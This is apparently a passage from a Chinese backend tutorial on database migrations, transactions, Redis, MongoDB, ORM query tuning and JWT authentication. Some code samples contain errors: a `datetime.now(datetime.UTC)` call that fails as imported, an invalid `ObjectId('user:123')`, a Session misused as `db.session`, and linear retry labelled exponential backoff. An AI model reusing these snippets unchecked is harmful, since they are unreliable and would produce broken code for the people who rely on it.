def receive_after_cursor_execute(conn, cursor, statement, parameters, context, executemany):
total = time.time() - conn.info['query_start_time'].pop(-1)
if total > 0.5: # 超过 500ms 的查询
logging.warning(f"慢查询 ({total:.2f}s): {statement[:200]}")
每个索引都会降低写入速度(INSERT/UPDATE/DELETE 要同时更新索引)。单表索引建议不超过 5-6 个。只给真正需要加速的查询加索引。定期用 pt-index-usage 检查未使用的索引并删除。
① 开启慢查询日志:SET GLOBAL slow_query_log = ON; SET GLOBAL long_query_time = 1;。② 用 pt-query-digest 分析日志,找出最慢的查询。③ 用 EXPLAIN 分析执行计划。④ 用 SHOW PROFILE 查看查询各阶段耗时。⑤ 生产环境用 Percona Monitoring and Management (PMM) 持续监控。
① 用 ANALYZE TABLE articles; 更新索引统计信息(优化器依赖统计信息选择索引)。② 用 OPTIMIZE TABLE articles; 碎片整理(大量 DELETE 后)。③ 用 SHOW INDEX FROM articles; 查看索引基数(Cardinality)。④ 定期检查重复索引:pt-duplicate-key-checker。
Alembic 是 SQLAlchemy 的官方迁移工具——让你像 Git 管理代码一样管理数据库结构的变更。
# 安装
pip install alembic
# 初始化
alembic init alembic # 创建 alembic/ 目录和 alembic.ini
# 修改 alembic.ini 中的数据库连接
sqlalchemy.url = postgresql://user:pass@localhost/mydb
# 自动生成迁移脚本
alembic revision --autogenerate -m "创建用户表"
# 执行迁移
alembic upgrade head # 升级到最新版本
# 回滚
alembic downgrade -1 # 回滚一个版本
alembic downgrade base # 回滚到最初
# 查看当前版本
alembic current
# 查看历史
alembic history
# alembic/versions/001_create_users.py
def upgrade():
op.create_table(
'users',
sa.Column('id', sa.Integer, primary_key=True),
sa.Column('username', sa.String(50), nullable=False, unique=True),
sa.Column('email', sa.String(100), nullable=False),
sa.Column('created_at', sa.DateTime, server_default=sa.func.now()),
)
op.create_index('idx_email', 'users', ['email'])
def downgrade():
op.drop_index('idx_email')
op.drop_table('users')
① 先备份数据库。② 在测试环境验证迁移。③ 大表变更用 op.batch_alter_table() 避免锁表。④ 分离结构迁移和数据迁移。⑤ 迁移脚本必须提交到 Git。
# 数据迁移——迁移脚本中修改数据(不只是表结构)
# alembic/versions/002_backfill_slugs.py
def upgrade():
# 1. 先加新列
op.add_column('articles', sa.Column('slug', sa.String(200)))
# 2. 填充数据(Python 逻辑)
connection = op.get_bind()
articles = connection.execute("SELECT id, title FROM articles")
for article in articles:
slug = article.title.lower().replace(' ', '-')
connection.execute(
"UPDATE articles SET slug = %s WHERE id = %s",
(slug, article.id)
)
# 3. 最后加约束
op.alter_column('articles', 'slug', nullable=False)
op.create_unique_constraint('uq_articles_slug', 'articles', ['slug'])
def downgrade():
op.drop_column('articles', 'slug')
# 大表(百万行以上)迁移不能直接 ALTER TABLE——会锁表
# 方案1:pt-online-schema-change(MySQL)
# $ pt-online-schema-change --alter "ADD COLUMN slug VARCHAR(200)" D=mydb,t=articles --execute
# 方案2:pg-osc(PostgreSQL)
# $ pg-osc perform --alter "ADD COLUMN slug VARCHAR(200)" --db-url postgresql://... --table articles
# 方案3:应用层迁移(最安全)
# 1. 创建新表 articles_new(带新字段)
# 2. 双写:同时写 articles 和 articles_new
# 3. 后台批量迁移旧数据
# 4. 切换:rename articles → articles_old, articles_new → articles
# 5. 验证无误后删除 articles_old
# Alembic 的 batch_alter_table(SQLite 不支持 ALTER TABLE)
def upgrade():
with op.batch_alter_table('articles') as batch_op:
batch_op.add_column(sa.Column('slug', sa.String(200)))
batch_op.create_unique_constraint('uq_slug', ['slug'])
Django 有自己的迁移系统(makemigrations / migrate),不需要 Alembic。Alembic 主要用于 Flask + SQLAlchemy 的项目。
① 每次迁移只做一个变更(方便回滚)。② 迁移脚本必须有 downgrade(可逆)。③ 大表迁移用在线方案(pt-osc/pg-osc)。④ 数据迁移和结构迁移分开。⑤ 迁移前备份,迁移后验证。⑥ CI/CD 中自动运行迁移测试。
事务保证"要么全做,要么全不做"。连接池避免频繁创建/销毁数据库连接的开销。
# SQLAlchemy 事务
from sqlalchemy.orm import Session
def transfer_money(db: Session, from_id: int, to_id: int, amount: int):
try:
from_user = db.session.get(User, from_id, with_for_update=True) # 锁定行
to_user = db.session.get(User, to_id, with_for_update=True)
if from_user.balance < amount:
raise ValueError("余额不足")
from_user.balance -= amount
to_user.balance += amount
db.commit() # 事务提交
except Exception:
db.rollback() # 事务回滚
raise
# SQLAlchemy 连接池
from sqlalchemy import create_engine
engine = create_engine(
"postgresql://user:pass@localhost/mydb",
pool_size=10, # 连接池大小
max_overflow=20, # 超出 pool_size 后最多再创建多少
pool_timeout=30, # 获取连接的超时时间
pool_recycle=3600, # 连接最大存活时间(秒)
pool_pre_ping=True, # 使用前检测连接是否有效
)
公式:pool_size = CPU 核心数 * 2 + 磁盘数。4 核服务器通常设 10-20。连接池不是越大越好——每个连接都占数据库资源。如果连接不够用,说明需要优化查询或加缓存,而不是加大连接池。
InnoDB 和 PostgreSQL 使用 MVCC 实现"无锁读"——读操作不加锁,通过保存数据的多个版本来实现并发。
# MVCC 核心思想:每行数据有多个版本,不同事务看到不同版本
# 示例场景:
# 事务 A(开始时间 T1):读 id=1 的余额 → 看到 100
# 事务 B(开始时间 T2):修改 id=1 的余额为 200,但未提交
# 事务 A 再次读 id=1 → 仍然看到 100(不是 200!)
# 这就是"可重复读"的实现
# InnoDB 的实现机制:
# 每行数据有两个隐藏字段:
# - trx_id:最近修改该行的事务 ID
# - roll_pointer:指向 undo log 中该行的上一个版本
# ReadView(读视图):
# 事务开始时创建 ReadView,包含:
# - m_ids:当前活跃(未提交)的事务 ID 列表
# - min_trx_id:活跃事务中最小的 ID
# - max_trx_id:下一个将要分配的事务 ID
# - creator_trx_id:当前事务的 ID
# 判断某行是否可见:
# 1. 如果 trx_id < min_trx_id → 该行在 ReadView 创建前已提交 → 可见
# 2. 如果 trx_id >= max_trx_id → 该行在 ReadView 创建后才修改 → 不可见
# 3. 如果 trx_id 在 m_ids 中 → 该行被未提交事务修改 → 不可见
# 4. 否则 → 可见
# 快照读 vs 当前读
# 快照读:SELECT ...(读取数据的某个历史版本,不加锁)
# 当前读:SELECT ... FOR UPDATE / INSERT / UPDATE / DELETE(读取最新版本,加锁)
# 乐观锁 vs 悲观锁
# 悲观锁:SELECT ... FOR UPDATE(先加锁再操作,适合写多读少)
# 乐观锁:用 version 字段实现(先操作再检查,适合读多写少)
# 乐观锁实现示例
def update_with_optimistic_lock(db, article_id, new_content, old_version):
result = db.execute(
"UPDATE articles SET content = %s, version = version + 1 "
"WHERE id = %s AND version = %s",
(new_content, article_id, old_version)
)
if result.rowcount == 0:
raise ValueError("数据已被其他事务修改,请重试")
-- 事务隔离级别(从低到高)
-- 1. READ UNCOMMITTED(读未提交)
-- 可以读到其他事务未提交的数据(脏读)
-- 几乎不用,太不安全
-- 2. READ COMMITTED(读已提交)—— PostgreSQL 默认
-- 只能读到其他事务已提交的数据
-- 问题:同一事务内两次读同一行,结果可能不同(不可重复读)
-- 3. REPEATABLE READ(可重复读)—— MySQL 默认
-- 同一事务内多次读同一行,结果始终一致
-- 问题:可能读到"幻影行"(其他事务插入的新行)
-- 4. SERIALIZABLE(串行化)
-- 最严格,完全串行执行
-- 最安全但性能最差
-- 设置隔离级别
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;
-- SQLAlchemy 中设置
engine = create_engine(
'postgresql://...',
isolation_level='READ COMMITTED'
)
# 用上下文管理器自动管理事务
from contextlib import contextmanager
@contextmanager
def transaction(db: Session):
"""自动提交/回滚事务"""
try:
yield db
db.commit()
except Exception:
db.rollback()
raise
finally:
db.close()
# 使用
with transaction(get_db()) as db:
user = User(name="张三")
db.add(user)
# 自动提交
# FastAPI 中的自动事务中间件
from starlette.middleware.base import BaseHTTPMiddleware
class TransactionMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request, call_next):
db = SessionLocal()
request.state.db = db
try:
response = await call_next(request)
db.commit()
return response
except Exception:
db.rollback()
raise
finally:
db.close()
# 死锁:两个事务互相等待对方释放锁
# 事务A: 锁定行1 → 等待行2
# 事务B: 锁定行2 → 等待行1
# 结果:永远等待
# 预防死锁:
# 1. 按固定顺序访问表和行(总是先锁行1,再锁行2)
# 2. 减少事务持有时间(事务内不要做耗时操作)
# 3. 使用较低的隔离级别
# 检测死锁(MySQL)
SHOW ENGINE INNODB STATUS; -- 查看最近的死锁信息
# 处理死锁(应用层重试)
import time
def execute_with_retry(func, max_retries=3):
for attempt in range(max_retries):
try:
return func()
except OperationalError as e:
if 'deadlock' in str(e).lower() and attempt < max_retries - 1:
time.sleep(0.1 * (attempt + 1)) # 指数退避
continue
raise
Django 用 CONN_MAX_AGE 控制连接复用。CONN_MAX_AGE = 600 表示连接保留 600 秒。设为 None 表示永久保持(配合 Gunicorn 多进程使用)。生产环境建议用 PgBouncer 做外部连接池。
① 事务要尽量短(不要在事务中做网络请求)。② 按固定顺序访问资源(防死锁)。③ 选择合适的隔离级别。④ 用上下文管理器自动管理事务。⑤ 死锁时自动重试。⑥ 监控慢事务和锁等待。
Redis 是后端开发的"瑞士军刀"——内存数据库,速度极快(10万+ QPS),用途广泛:缓存、Session、排行榜、消息队列、分布式锁。
import redis
r = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True)
# 生产环境推荐用连接池(避免每次请求创建新连接):
# pool = redis.ConnectionPool(host='localhost', port=6379, max_connections=50, decode_responses=True)
# r = redis.Redis(connection_pool=pool)
# 1. String(字符串)—— 最基础,存缓存、计数器
r.set('user:1:name', '张三')
r.get('user:1:name') # '张三'
r.incr('page_views') # 计数器 +1
r.setex('token:abc', 3600, 'user_id=1') # 设置过期时间(秒)
# 2. Hash(哈希)—— 存对象(类似字典)
r.hset('user:1', mapping={'name': '张三', 'age': '25', 'email': 'zhangsan@example.com'})
r.hget('user:1', 'name') # '张三'
r.hgetall('user:1') # {'name': '张三', 'age': '25', ...}
# 3. List(列表)—— 消息队列、最新动态
r.lpush('notifications', '消息1', '消息2') # 左边推入
r.rpop('notifications') # 右边弹出(FIFO)
r.lrange('notifications', 0, -1) # 获取所有
# 4. Set(集合)—— 去重、共同好友
r.sadd('user:1:friends', 'user:2', 'user:3')
r.sismember('user:1:friends', 'user:2') # True
r.sinter('user:1:friends', 'user:2:friends') # 共同好友
# 5. Sorted Set(有序集合)—— 排行榜
r.zadd('leaderboard', {'player:1': 100, 'player:2': 85, 'player:3': 92})
r.zrevrange('leaderboard', 0, 2, withscores=True) # 前三名
r.zincrby('leaderboard', 10, 'player:1') # 加分
import redis
import uuid
import time
def acquire_lock(r, lock_name, timeout=10):
"""获取分布式锁(返回锁的唯一标识,释放时需要校验)"""
lock_value = str(uuid.uuid4()) # 唯一值,防止误释放其他客户端的锁
acquired = r.set(f'lock:{lock_name}', lock_value, nx=True, ex=timeout)
return lock_value if acquired else None
# Lua 脚本:原子性检查并删除(防止释放别人的锁)
RELEASE_SCRIPT = """
if redis.call("get", KEYS[1]) == ARGV[1] then
return redis.call("del", KEYS[1])
else
return 0
end
"""
def release_lock(r, lock_name, lock_value):
"""释放锁(只有持有者才能释放)"""
r.eval(RELEASE_SCRIPT, 1, f'lock:{lock_name}', lock_value)
# 使用
lock_value = acquire_lock(r, 'order:create')
if lock_value:
try:
# 执行需要加锁的操作
create_order()
finally:
release_lock(r, 'order:create', lock_value)
把 Session 存到 Redis 而不是内存/数据库,好处:① 多台服务器共享 Session;② 自动过期(SET key value EX 1800);③ 读写速度极快。Flask 用 Flask-Session,Django 用 django-redis。
# Redis Pub/Sub——消息广播
import redis
r = redis.Redis()
# 发布者
def publish_message(channel: str, message: str):
r.publish(channel, message)
# 订阅者
def subscribe(channel: str):
pubsub = r.pubsub()
pubsub.subscribe(channel)
for message in pubsub.listen():
if message['type'] == 'message':
data = message['data'].decode()
print(f"收到消息: {data}")
# 使用场景:实时通知、WebSocket 广播
# 用户A发消息 → publish到chat:room1 → 所有订阅者收到
# Pipeline——批量发送命令,减少网络往返
# ❌ 慢:100 次网络往返
for i in range(100):
r.set(f"key:{i}", f"value:{i}")
# ✅ 快:1 次网络往返
pipe = r.pipeline()
for i in range(100):
pipe.set(f"key:{i}", f"value:{i}")
pipe.execute() # 一次性发送所有命令
# Pipeline 带事务(MULTI/EXEC)
pipe = r.pipeline(transaction=True)
pipe.set("counter", 0)
pipe.incr("counter")
pipe.incr("counter")
result = pipe.execute() # 原子执行
# Lua 脚本——在 Redis 服务端执行复杂逻辑(原子性)
# 限流脚本(滑动窗口)
lua_script = """
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local now = tonumber(ARGV[3])
redis.call('ZREMRANGEBYSCORE', key, 0, now - window)
local count = redis.call('ZCARD', key)
if count < limit then
redis.call('ZADD', key, now, now)
redis.call('EXPIRE', key, window)
return 1
else
return 0
end
"""
# 注册并执行
script = r.register_script(lua_script)
result = script(keys=["rate:user:123"], args=[100, 60, time.time()])
# 持久化方式
# 1. RDB 快照(定期把内存数据写入磁盘)
# redis.conf:
# save 900 1 # 900 秒内有 1 次修改就快照
# save 300 10 # 300 秒内有 10 次修改就快照
# 2. AOF 日志(记录每个写命令)
# redis.conf:
# appendonly yes
# appendfsync everysec # 每秒同步一次
# 过期策略
# redis.conf:
# maxmemory 4gb # 最大内存
# maxmemory-policy allkeys-lru # 内存满时淘汰策略
# allkeys-lru: 淘汰最近最少使用的 key(推荐)
# volatile-lru: 只淘汰有过期时间的 key
# noeviction: 内存满了直接报错
Redis 默认把数据存在内存——重启后数据丢失!开启 RDB 快照或 AOF 日志来持久化。生产环境必须配置持久化 + 定期备份。建议同时开启 RDB + AOF。
① 缓存:String + TTL。② 计数器/限流:INCR + EXPIRE。③ 排行榜:Sorted Set。④ 消息队列:List 或 Stream。⑤ 分布式锁:SET NX EX。⑥ 实时通知:Pub/Sub。⑦ 购物车:Hash。
# 单机 Redis 无法满足生产需求,需要集群方案
# 方案 1:主从复制(Master-Slave)
# ┌─────────┐
# │ Master │ ← 写操作
# └─────────┘
# │ 复制
# ┌─────────┐ ┌─────────┐
# │ Slave1 │ │ Slave2 │ ← 读操作
# └─────────┘ └─────────┘
# 优点:读写分离,读性能提升
# 缺点:Master 单点故障,无法自动故障转移
# 方案 2:哨兵模式(Sentinel)
# ┌──────────┐ ┌──────────┐ ┌──────────┐
# │ Sentinel1│ │ Sentinel2│ │ Sentinel3│
# └──────────┘ └──────────┘ └──────────┘
# │ │ │
# └──────────────┼──────────────┘
# │ 监控
# ┌─────────┐ ┌─────────┐ ┌─────────┐
# │ Master │ │ Slave1 │ │ Slave2 │
# └─────────┘ └─────────┘ └─────────┘
# 优点:自动故障转移(Master 挂了自动选新 Master)
# 缺点:单个 Master 写能力有限
# 方案 3:Cluster 分片
# ┌─────────┐ ┌─────────┐ ┌─────────┐
# │ Master1 │ │ Master2 │ │ Master3 │
# │ slot 0- │ │ slot │ │ slot │
# │ 5460 │ │ 5461- │ │ 10923- │
# └─────────┘ │ 10922 │ │ 16383 │
# │ └─────────┘ └─────────┘
# │ │ │
# ┌─────────┐ ┌─────────┐ ┌─────────┐
# │ Slave1 │ │ Slave2 │ │ Slave3 │
# └─────────┘ └─────────┘ └─────────┘
# 优点:水平扩展,数据分片,高可用
# 缺点:客户端需要支持 Cluster 协议
# Redis Cluster 客户端使用
from redis.cluster import RedisCluster
rc = RedisCluster(
host="localhost",
port=7000,
decode_responses=True
)
# 自动路由到正确的分片
rc.set("user:1", "张三") # 根据 key 的 hash 自动路由
rc.get("user:1")
# 查看集群信息
print(rc.cluster_info())
print(rc.cluster_nodes())
# Redis 5.0+ 引入的 Stream 数据结构,比 List 和 Pub/Sub 更可靠
# 特点:持久化、消费者组、消息确认、重试机制
# 生产者
r.xadd("mystream", {"name": "张三", "action": "login"})
r.xadd("mystream", {"name": "李四", "action": "purchase"})
# 消费者组
r.xgroup_create("mystream", "mygroup", id="0", mkstream=True)
# 消费者读取
while True:
messages = r.xreadgroup(
groupname="mygroup",
consumername="consumer-1",
streams={"mystream": ">"},
count=10,
block=5000 # 阻塞 5 秒
)
for stream, messages_list in messages:
for message_id, data in messages_list:
print(f"收到消息: {message_id} -> {data}")
# 处理完成后确认
r.xack("mystream", "mygroup", message_id)
# 查看待处理消息(未确认的)
pending = r.xpending("mystream", "mygroup")
print(f"待处理消息数: {pending['pending']}")
# 重试失败的消息
r.xclaim("mystream", "mygroup", "consumer-2",
min_idle_time=60000, # 超过 60 秒未确认
message_ids=["1234567890-0"])
# 大 Key 的危害:
# 1. 阻塞其他请求(Redis 单线程)
# 2. 网络带宽消耗大
# 3. 内存不均衡(Cluster 模式下)
# 检测大 Key
# 命令行:redis-cli --bigkeys
# 也可以用 memory usage 命令
r.memory_usage("user:1")
# 处理大 Key 的策略:
# 1. 拆分:Hash 拆成多个小 Hash
# user:1 → user:1:basic, user:1:extra, user:1:tags
# 2. 压缩:存储压缩后的数据
import json
import zlib
def set_compressed(r, key, data, ex=None):
compressed = zlib.compress(json.dumps(data).encode())
r.set(key, compressed, ex=ex)
def get_compressed(r, key):
compressed = r.get(key)
if compressed:
return json.loads(zlib.decompress(compressed))
return None
# 3. 渐进式删除(避免 DEL 大 Key 阻塞)
def delete_large_key(r, key):
"""渐进式删除大 Hash/Set"""
cursor = 0
while True:
cursor, keys = r.hscan(key, cursor, count=100)
if keys:
r.hdel(key, *keys.keys())
if cursor == 0:
break
r.delete(key)
MongoDB 是最流行的 NoSQL 数据库——它不存"行和列",而是存"文档"(JSON 格式)。当数据结构不固定或需要灵活的 Schema 时,MongoDB 是好选择。
| 维度 | MySQL/PostgreSQL | MongoDB |
|---|---|---|
| 数据模型 | 行和列(表) | 文档(JSON/BSON) |
| Schema | 严格固定 | 灵活,每条记录可以不同 |
| 关联查询 | JOIN(强大) | 嵌入文档 或 $lookup |
| 事务 | 完整支持 | 4.0+ 支持多文档事务 |
| 适用场景 | 结构化数据、复杂关系 | 非结构化数据、快速迭代 |
# PyMongo 基础操作
from pymongo import MongoClient
client = MongoClient('mongodb://localhost:27017/')
db = client['mydb']
users = db['users']
# 插入
users.insert_one({"name": "张三", "age": 25, "tags": ["python", "django"]})
users.insert_many([{"name": "李四"}, {"name": "王五"}])
# 查询
user = users.find_one({"name": "张三"})
users.find({"age": {"$gt": 18}}) # age > 18
users.find({"tags": "python"}) # tags 包含 "python"
# 更新
users.update_one({"name": "张三"}, {"$set": {"age": 26}})
users.update_many({"age": {"$lt": 18}}, {"$inc": {"age": 1}}) # age + 1
# 删除
users.delete_one({"name": "张三"})
# 聚合管道
pipeline = [
{"$match": {"age": {"$gte": 18}}},
{"$group": {"_id": "$city", "count": {"$sum": 1}}},
{"$sort": {"count": -1}}
]
result = list(users.aggregate(pipeline))
① 数据结构经常变化(如用户自定义字段)。② 文档型数据(如博客评论、日志、配置)。③ 需要快速开发迭代。④ 读多写少、水平扩展需求。不要为了"新潮"用 MongoDB——如果数据是结构化的、关系明确的,用 MySQL/PostgreSQL 更合适。
# MongoDB 索引
# 创建索引
db.users.create_index("email", unique=True)
db.articles.create_index([("status", 1), ("created_at", -1)]) # 复合索引
db.articles.create_index([("title", "text"), ("content", "text")]) # 全文索引
# 查询使用索引
db.articles.find({"status": "published"}).sort("created_at", -1).explain()["executionStats"]
# Schema 设计模式
# 1. 嵌入模式(Embedding)—— 把关联数据放在同一个文档中
# 适用:1:1 或 1:少量 的关系,数据经常一起查询
{
"_id": ObjectId("..."),
"username": "张三",
"profile": { # 嵌入
"avatar": "http://...",
"bio": "后端开发"
},
"addresses": [ # 嵌入数组
{"city": "北京", "street": "长安街"},
{"city": "上海", "street": "南京路"}
]
}
# 2. 引用模式(Referencing)—— 存储关联文档的 ID
# 适用:1:N 或 N:N 的关系,关联数据独立变化
{
"_id": ObjectId("..."),
"title": "Python 教程",
"author_id": ObjectId("user:123"), # 引用
"tags": [ObjectId("tag:1"), ObjectId("tag:2")]
}
# 选择依据:
# 读多写少 + 数据量小 → 嵌入
# 数据量大 + 独立变化 → 引用
# Change Streams——监听数据变更(类似数据库触发器)
# 适用:实时同步、审计日志、事件驱动
# 监听集合变更
with db.users.watch() as stream:
for change in stream:
print(f"操作: {change['operationType']}")
print(f"文档: {change['fullDocument']}")
# 操作类型:insert, update, replace, delete
# 监听特定条件
pipeline = [{'$match': {'operationType': 'insert'}}]
with db.users.watch(pipeline=pipeline) as stream:
for change in stream:
print(f"新文档: {change['fullDocument']}")
# Motor 异步版本
async with db.users.watch() as stream:
async for change in stream:
print(f"变更: {change}")
# GridFS——存储超过 16MB 的文件(视频、大文档)
import gridfs
fs = gridfs.GridFS(db)
# 存储文件
with open("video.mp4", "rb") as f:
file_id = fs.put(f, filename="video.mp4", content_type="video/mp4")
# 读取文件
file_data = fs.get(file_id)
with open("downloaded.mp4", "wb") as f:
f.write(file_data.read())
# 查询文件信息
for file_info in db.fs.files.find():
print(f"文件名: {file_info['filename']}, 大小: {file_info['length']}")
① 数据结构经常变化(如用户自定义字段)。② 文档型数据(如博客评论、日志、配置)。③ 需要快速开发迭代。④ 读多写少、水平扩展需求。⑤ 实时数据(Change Streams)。不要为了"新潮"用 MongoDB——如果数据是结构化的、关系明确的,用 MySQL/PostgreSQL 更合适。
FastAPI 用 Motor 替代 PyMongo 实现异步操作:from motor.motor_asyncio import AsyncIOMotorClient。用法和 PyMongo 几乎一样,只是方法前加 await。
ORM 让你不用写 SQL,但也隐藏了底层的查询细节。最常见的性能杀手是 N+1 查询问题。
N+1 就像你去餐厅点菜:先问服务员"今天有什么菜?"(1 次查询),服务员拿来菜单。然后你对每道菜都问"这道菜辣不辣?"(N 次查询)。正确的做法是一开始就问"把所有菜的辣度告诉我"(1 次查询搞定)。
# Django 示例
articles = Article.objects.all() # 1 次查询:SELECT * FROM articles
for article in articles:
print(article.author.name) # 每次循环都查一次!N 次查询
# 总共 1 + N 次查询
# 解决方案:select_related(一对一/多对一)
articles = Article.objects.select_related('author').all()
# 只有 1 次查询:SELECT articles.*, users.* FROM articles JOIN users ...
# 解决方案:prefetch_related(多对多/反向查询)
articles = Article.objects.prefetch_related('tags').all()
# 2 次查询:查文章 + 查标签,然后在 Python 中关联
# ❌ 懒加载(默认行为)—— N+1 问题
articles = session.query(Article).all()
for article in articles:
print(article.author.name) # 每次都查数据库
# ✅ 急加载(Eager Loading)
from sqlalchemy.orm import joinedload
articles = session.query(Article).options(joinedload(Article.author)).all()
# 1 次 JOIN 查询搞定
# 只查需要的字段(only / defer)
# Django
articles = Article.objects.only('id', 'title') # 只查 id 和 title
# SQLAlchemy
articles = session.query(Article.id, Article.title).all()
# 查询计数排查
# Django:django-debug-toolbar(开发环境必备)
# 安装:pip install django-debug-toolbar
# 在 settings.py 中添加 INSTALLED_APPS 和中间件
# SQLAlchemy:开启 SQL 日志
engine = create_engine("postgresql://...", echo=True) # 打印所有 SQL
在开发环境中,用 Django Debug Toolbar 或 SQLAlchemy 的 echo=True 监控每次请求产生了多少条 SQL。如果一个页面产生了 50+ 条 SQL,大概率有 N+1 问题。
# ❌ 慢:逐条插入(N 次数据库交互)
for data in data_list:
db.add(Model(**data))
db.commit()
# ✅ 快:批量插入(1 次数据库交互)
objects = [Model(**data) for data in data_list]
db.bulk_save_objects(objects)
db.commit()
# Django 批量操作
User.objects.bulk_create([User(name=f"user{i}") for i in range(1000)])
User.objects.filter(id__in=[1,2,3]).update(status='active') # 批量更新
# SQLAlchemy 批量更新
db.query(User).filter(User.id.in_([1,2,3])).update(
{'status': 'active'}, synchronize_session=False
)
db.commit()
# ORM 搞不定时,用原生 SQL
# SQLAlchemy
result = db.execute(text("""
SELECT u.username, COUNT(a.id) as article_count
FROM users u
LEFT JOIN articles a ON u.id = a.author_id
GROUP BY u.id, u.username
ORDER BY article_count DESC
LIMIT 10
"""))
for row in result:
print(f"{row.username}: {row.article_count} 篇")
# Django
from django.db import connection
with connection.cursor() as cursor:
cursor.execute("SELECT * FROM users WHERE age > %s", [18])
rows = cursor.fetchall()
# SQLAlchemy SQL 日志
engine = create_engine("postgresql://...", echo=True) # 打印所有 SQL
# Django Debug Toolbar
# pip install django-debug-toolbar
# 显示每个请求的所有 SQL 查询和耗时
# 查询计数装饰器
import functools
import time
def query_counter(func):
"""统计函数执行了多少次数据库查询"""
@functools.wraps(func)
def wrapper(*args, **kwargs):
from sqlalchemy import event
count = [0]
def before_execute(conn, clauseelement, multiparams, params, execution_options):
count[0] += 1
event.listen(engine, "before_execute", before_execute)
start = time.time()
try:
result = func(*args, **kwargs)
finally:
elapsed = time.time() - start
event.remove(engine, "before_execute", before_execute)
print(f"{func.__name__}: {count[0]} 次查询, {elapsed:.3f}s")
return result
return wrapper
在开发环境中,用 Django Debug Toolbar 或 SQLAlchemy 的 echo=True 监控每次请求产生了多少条 SQL。如果一个页面产生了 50+ 条 SQL,大概率有 N+1 问题。
① 用 select_related / joinedload 解决多对一 N+1。② 用 prefetch_related 解决多对多 N+1。③ 用 only() / defer() 减少不必要的字段。④ 用 exists() 替代 count()(只需要判断有没有)。⑤ 列表接口加分页,永远不要 .all()。⑥ 批量操作替代逐条操作。⑦ 复杂查询用 Raw SQL。
认证(Authentication)回答"你是谁",授权(Authorization)回答"你能做什么"。两者缺一不可。
| 方式 | 原理 | 适用场景 |
|---|---|---|
| Session + Cookie | 服务器存 Session,浏览器存 Cookie | 传统 Web 应用(有页面) |
| JWT | 服务器签发令牌,客户端每次携带 | API 服务、前后端分离 |
| OAuth2 | 第三方登录(微信、GitHub) | 社交登录、开放平台 |
| API Key | 固定的密钥字符串 | 服务间调用、开放 API |
# JWT 结构:Header.Payload.Signature
# eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxfQ.signature
import jwt
from datetime import datetime, timedelta
SECRET_KEY = "your-secret-key"
# 生成 Token
def create_token(user_id: int) -> str:
payload = {
"user_id": user_id,
"exp": datetime.now(datetime.UTC) + timedelta(hours=24), # 24小时过期
"iat": datetime.now(datetime.UTC), # 签发时间
}
return jwt.encode(payload, SECRET_KEY, algorithm="HS256")
# 验证 Token
def verify_token(token: str) -> dict:
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
return payload
except jwt.ExpiredSignatureError:
raise ValueError("Token 已过期")
except jwt.InvalidTokenError:
raise ValueError("Token 无效")
# FastAPI 中使用
from fastapi import Depends, HTTPException
def get_current_user(token: str = Header(...)):
payload = verify_token(token)
return payload
@app.get("/profile")
def get_profile(user = Depends(get_current_user)):
return {"user_id": user["user_id"]}
# 用户 → 角色 → 权限(三层结构)
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
username = Column(String(50))
class Role(Base):
__tablename__ = 'roles'
id = Column(Integer, primary_key=True)
name = Column(String(50)) # admin, editor, viewer
class Permission(Base):
__tablename__ = 'permissions'
id = Column(Integer, primary_key=True)
name = Column(String(50)) # article:create, article:delete
# 关联表
user_roles = Table('user_roles', Base.metadata,
Column('user_id', Integer, ForeignKey('users.id')),
Column('role_id', Integer, ForeignKey('roles.id'))
)
① 不要在 JWT 中存敏感信息(密码、手机号)——JWT 只是 Base64 编码,不是加密。② 设置合理的过期时间(Access Token 15分钟-24小时)。③ 用 HTTPS 传输。④ 用 Refresh Token 机制续期。
import bcrypt
# 注册时:加密密码
def hash_password(password: str) -> str:
salt = bcrypt.gensalt(rounds=12) # rounds 越大越安全,但越慢
return bcrypt.hashpw(password.encode(), salt).decode()
# 登录时:验证密码
def verify_password(password: str, hashed: str) -> bool:
return bcrypt.checkpw(password.encode(), hashed.encode())
# 使用示例
hashed = hash_password("MySecure123!")
print(verify_password("MySecure123!", hashed)) # True
print(verify_password("wrong", hashed)) # False
import jwt
from datetime import datetime, timedelta
from uuid import uuid4
SECRET_KEY = "your-secret-key"
REFRESH_SECRET = "your-refresh-secret"
# 生成 Access Token(短生命周期:15分钟)
def create_access_token(user_id: int, roles: list[str]) -> str:
payload = {
"user_id": user_id,
"roles": roles,
"type": "access",
"exp": datetime.now(datetime.UTC) + timedelta(minutes=15),
"iat": datetime.now(datetime.UTC),
"jti": str(uuid4()), # 唯一标识,用于黑名单
}
return jwt.encode(payload, SECRET_KEY, algorithm="HS256")
# 生成 Refresh Token(长生命周期:7天)
def create_refresh_token(user_id: int) -> str:
payload = {
"user_id": user_id,
"type": "refresh",
"exp": datetime.now(datetime.UTC) + timedelta(days=7),
"iat": datetime.now(datetime.UTC),
"jti": str(uuid4()),
}
return jwt.encode(payload, REFRESH_SECRET, algorithm="HS256")
# 登录接口
@app.post("/auth/login")
async def login(username: str, password: str, db: Session = Depends(get_db)):
user = db.query(User).filter(User.username == username).first()
if not user or not verify_password(password, user.hashed_password):
raise HTTPException(401, "用户名或密码错误")
access_token = create_access_token(user.id, [r.name for r in user.roles])
refresh_token = create_refresh_token(user.id)
return {
"access_token": access_token,
"refresh_token": refresh_token,
"token_type": "bearer",
"expires_in": 900, # 15分钟 = 900秒
}
# 刷新接口
@app.post("/auth/refresh")
async def refresh(refresh_token: str, db: Session = Depends(get_db)):
try:
payload = jwt.decode(refresh_token, REFRESH_SECRET, algorithms=["HS256"])
if payload.get("type") != "refresh":
raise HTTPException(401, "无效的 Refresh Token")
# 检查是否在黑名单中
if redis_client.get(f"blacklist:{payload['jti']}"):
raise HTTPException(401, "Token 已失效")
user = db.query(User).filter(User.id == payload["user_id"]).first()
new_access = create_access_token(user.id, [r.name for r in user.roles])
return {"access_token": new_access, "token_type": "bearer", "expires_in": 900}
except jwt.ExpiredSignatureError:
raise HTTPException(401, "Refresh Token 已过期,请重新登录")
import redis
redis_client = redis.Redis(host="localhost", port=6379, db=0)
# 登出时:将 Token 加入黑名单
@app.post("/auth/logout")
async def logout(token: str = Header(...)):
try:
payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
